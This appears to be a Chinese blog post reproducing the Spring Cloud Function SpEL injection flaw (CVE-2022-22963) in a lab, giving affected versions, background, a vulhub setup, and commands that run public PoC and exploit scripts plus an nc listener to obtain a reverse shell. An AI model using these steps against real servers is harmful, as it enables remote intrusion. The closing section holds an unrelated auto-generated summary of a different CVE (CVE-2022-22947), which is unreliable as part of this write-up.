SpringCloud Function SpEL漏洞复现 (CVE-2022-22963)

目录

0x00 漏洞简介

0x01 影响版本

0x02 基础知识

SpringCloud Function

三、漏洞原理


0x00 漏洞简介

        2022年3月,Spring Cloud 官方修复了一个 Spring Cloud Function中的 SPEL 表达式注入漏洞,由于 Spring Cloud Function中 RoutingFunction 类的 apply 方法将请求头中的 “spring.cloud.function.routing-expression” 参数作为SpEL表达式进行处理,造成了SpEL表达式注入漏洞,攻击者可利用该漏洞远程执行任意代码。

0x01 影响版本

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

0x02 基础知识

SpringCloud Function

        Spring Cloud Function 是基于Spring Boot 的函数计算框架(FaaS,函数即服务,function as a service),该项目提供了一个通用的模型,用于在各种平台上部署基于函数的软件。它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。

SpEL

        SpEL(Spring Expression Language),即Spring表达式语言,一种功能强大的表达式语言,用于在运行时查询和操作对象图。

0x03 复现过程

实验环境:

被攻击主机:CentOS7(192.168.217.140)

漏洞环境:SpringCloud-Function-0.0.1-SNAPSHOT.jar,https://github.com/N1ce759/Spring-Cloud-Function-SPEL-RCE

攻击者:kali(192.168.217.141)

漏洞利用工具工具:Spring-cloud-function-SpEL-RCE ,https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE

  • 靶场环境基于vulhub进行部署,使用命令进行部署
docker-compose up -d

  • 部署完成后,访问8080端口看看是否部署成功

  • 环境没什么问题,接下来下载漏洞利用工具,检测并利用漏洞获取反弹shell
echo "http://192.168.217.140:8080/" > url.txt
python3 Spel_RCE_POC.py url.txt

  • 确认存在漏洞后,接下来获取反弹shell,使用nc开启4444端口监听
nc -lvp 4444
  • 使用exp获取反弹shell
python3 Spel_RCE_Bash_EXP.py http://192.168.217.140:8080/ 192.168.217.141 4444

0x04 复现过程

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
根据引用\[1\]和引用\[2\]的信息,CVE-2022-22947漏洞Spring Cloud Gateway中的一处命令注入漏洞。攻击者可以通过利用此漏洞执行SpEL表达式,从而在目标服务器上执行任意恶意代码,获取系统权限。具体来说,当使用Spring Cloud Gateway的应用程序对外暴露了Gateway Actuator接口时,攻击者可以发送恶意请求,利用漏洞进行代码注入攻击,从而在远程主机上执行任意远程代码。这个漏洞的影响范围包括Spring Cloud Gateway 3.1.x < 3.1.1和Spring Cloud Gateway 3.0.x < 3.0.7版本,以及其他旧的、不受支持的Spring Cloud Gateway版本。\[1\]\[2\] #### 引用[.reference_title] - *1* *2* [Spring Cloud Gateway RCE漏洞原理分析与复现CVE-2022-22947)](https://blog.csdn.net/qq_49619863/article/details/127350543)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [CVE-2022-22947 Spring Cloud Gateway 远程代码执行漏洞复现](https://blog.csdn.net/weixin_45260839/article/details/124650584)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值